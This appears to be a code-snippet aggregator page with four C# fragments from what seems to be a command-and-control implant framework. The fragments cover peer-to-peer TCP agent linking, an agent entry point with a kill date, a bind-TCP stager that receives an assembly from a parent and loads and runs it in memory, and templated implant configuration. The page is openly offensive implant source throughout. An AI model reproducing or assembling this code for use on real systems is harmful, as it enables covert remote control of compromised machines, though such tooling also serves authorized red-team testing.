Esempio n. 1
0
    private void LinkTcpAgent(byte[] data)
    {
        var args     = Encoding.UTF8.GetString(data).Split(' ');
        var hostname = args[0];
        var port     = int.Parse(args[1]);

        var module = new TcpCommModule(hostname, port);

        Agent.AddP2PAgent(hostname, module);
    }
Esempio n. 2
0
    public static void TcpEntryPoint(string agentID, string parentAgentID, DateTime killDate, string bindAddress, int bindPort)
    {
        AgentID       = agentID;
        ParentAgentID = parentAgentID;

        var config = new ConfigController();

        config.SetOption(ConfigSetting.KillDate, killDate);

        var commModule = new TcpCommModule(IPAddress.Parse(bindAddress), bindPort);

        StartAgent(config, commModule);
    }
Esempio n. 3
0
    public static void Execute()
    {
        AgentID = Misc.GeneratePseudoRandomString(8);

        var crypto = new CryptoController();

        try
        {
            var commModule = new TcpCommModule(BindAddress, BindPort);
            commModule.SetMetadata(AgentID);
            commModule.Start(crypto);

            while (StagerStatus == StagerStatus.Staging)
            {
                if (commModule.RecvData(out AgentMessage message) == true)
                {
                    if (message.Data != null && message.Data.Command.Equals("IncomingLink", StringComparison.OrdinalIgnoreCase))
                    {
                        commModule.SetParentID(Encoding.UTF8.GetString(message.Data.Data));
                        commModule.QueueStageRequest();
                    }
                    else if (message.Data.Command.Equals("StageOne", StringComparison.OrdinalIgnoreCase))
                    {
                        StagerStatus = StagerStatus.Staged;
                        commModule.Stop();

                        var asm      = Assembly.Load(message.Data.Data);
                        var type     = asm.GetType("AgentStage");
                        var instance = Activator.CreateInstance(type);

                        var parentID = commModule.GetParentID();

                        type.InvokeMember(
                            "TcpEntryPoint",
                            BindingFlags.Public | BindingFlags.Static | BindingFlags.InvokeMethod,
                            null,
                            instance,
                            new object[] { AgentID, parentID, KillDate, BindAddress, BindPort });
                    }
                }
            }
        }
        catch (Exception e)
        {
            Console.Error.WriteLine(e.StackTrace);
        }
    }
Esempio n. 4
0
        public static void Execute()
        {
            var config = new ConfigController();

            //config.SetOption(ConfigSetting.BindAddress, "0.0.0.0");
            //config.SetOption(ConfigSetting.BindPort, 4444);
            //config.SetOption(ConfigSetting.KillDate, DateTime.Parse("01/01/2021 00:00:00"));

            config.SetOption(ConfigSetting.BindAddress, "<<BindAddress>>");
            config.SetOption(ConfigSetting.BindPort, "<<BindPort>>");
            config.SetOption(ConfigSetting.KillDate, DateTime.Parse("<<KillDate>>"));

            var crypto = new CryptoController();

            var commModule = new TcpCommModule();

            commModule.Init(config, crypto);

            var agent = new AgentController(config, crypto, commModule);

            agent.Init();
            agent.RegisterAgentModule(new LinkModule());
            agent.Start();
        }